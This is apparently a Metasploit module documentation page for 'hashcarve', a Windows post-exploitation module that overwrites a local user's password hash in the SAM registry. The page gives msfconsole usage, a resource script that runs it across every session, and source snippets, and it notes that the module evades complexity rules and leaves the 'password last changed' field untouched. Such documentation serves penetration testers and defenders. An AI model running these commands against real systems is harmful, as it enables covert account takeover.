Windows Local User Account Hash Carver - Metasploit


This page contains detailed information about how to use the post/windows/manage/hashcarve metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Local User Account Hash Carver
Module: post/windows/manage/hashcarve
Source code: modules/post/windows/manage/hashcarve.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will change a local user's password directly in the registry.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/hashcarve

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/hashcarve
msf post(hashcarve) > show options
    ... show and set options ...
msf post(hashcarve) > set SESSION session-id
msf post(hashcarve) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/hashcarve")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • user: Username to change password of

  • pass: Password, NTHash or LM:NT hashes value to set as the user's password

Knowledge Base


Overview


This module changes a user's password by carving a hash in the windows registry.

  1. It doesn't change the "password last changed" field
  2. You can set a hash directly, so you can change a user's password and revert it without cracking it's hash.
  3. It bypasses the password complexity requirements

Options


  • USER - This option allows you to specify the user you wish to change the password of.
  • PASS - This option allows you to specify the password to be set in the form of a clear text password, a single NT hash, or a couple of LM:NT hashes.

Module Process


Here is the process that the module follows:

  • Retrieves list of users from the registry.
  • If the user is found it attempts to:
    • load the user key from the registry
    • check if the lm and nt hashes exit in the key
    • replace the hashes if they exist
    • write they user key back into the registry

Recommandations


I would recommand to use hashdump before using the module to backup the user hashes Use at your own risk.

Limitations


At some point, Windows 10 stopped storing users in that exact way, users whose password was set after that change would not be vulnerable. This will be updated once someone figures how the hashes are now stored.

The module does not modify the user key architecture, you cannot set a hash on a user that does not have a password.

Usage


  • run post/windows/manage/hashcarve user=test pass=password
  • run post/windows/manage/hashcarve user=test pass=nthash
  • run post/windows/manage/hashcarve user=test pass=lmhash:nthash

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/hashcarve post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/hashcarve

msf6 post(windows/manage/hashcarve) > show info

       Name: Windows Local User Account Hash Carver
     Module: post/windows/manage/hashcarve
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  p3nt4

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.
  pass                      yes       Password, NTHash or LM:NT hashes value to set as the user's password
  user                      yes       Username to change password of

Description:
  This module will change a local user's password directly in the 
  registry.

Module Options


This is a complete list of options available in the windows/manage/hashcarve post exploitation module:

msf6 post(windows/manage/hashcarve) > show options

Module options (post/windows/manage/hashcarve):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   pass                      yes       Password, NTHash or LM:NT hashes value to set as the user's password
   user                      yes       Username to change password of

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/hashcarve post exploitation module:

msf6 post(windows/manage/hashcarve) > show advanced

Module advanced options (post/windows/manage/hashcarve):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/hashcarve module can do:

msf6 post(windows/manage/hashcarve) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/hashcarve post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/hashcarve) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error: <E>


Here is a relevant code snippet related to the "Error: <E>" error message:

72:	      write_user_key(rid, user)
73:	      print_status("Completed! Let's hope for the best")
74:	    rescue ::Interrupt
75:	      raise $!
76:	    rescue ::Exception => e
77:	      print_error("Error: #{e}")
78:	    end
79:	  end
80:	
81:	  def capture_hboot_key(bootkey)
82:	    ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)

LM hash does not exist, skipping


Here is a relevant code snippet related to the "LM hash does not exist, skipping" error message:

137:	
138:	    print_status("Modifiying LM hash")
139:	    if lm_exists
140:	      user[hoff + 4, 16] = encrypt_user_hash(rid, hbootkey, lmhash, @sam_lmpass)
141:	    else
142:	      print_error("LM hash does not exist, skipping")
143:	    end
144:	    print_status("Modifiying NT hash")
145:	    if nt_exists
146:	      user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass)
147:	    else

NT hash does not exist, skipping


Here is a relevant code snippet related to the "NT hash does not exist, skipping" error message:

143:	    end
144:	    print_status("Modifiying NT hash")
145:	    if nt_exists
146:	      user[(hoff + (lm_exists ? 24 : 8)), 16] = encrypt_user_hash(rid, hbootkey, nthash, @sam_ntpass)
147:	    else
148:	      print_error("NT hash does not exist, skipping")
149:	    end
150:	  end
151:	
152:	  def rid_to_key(rid)
153:	    s1 = [rid].pack("V")

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • p3nt4

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.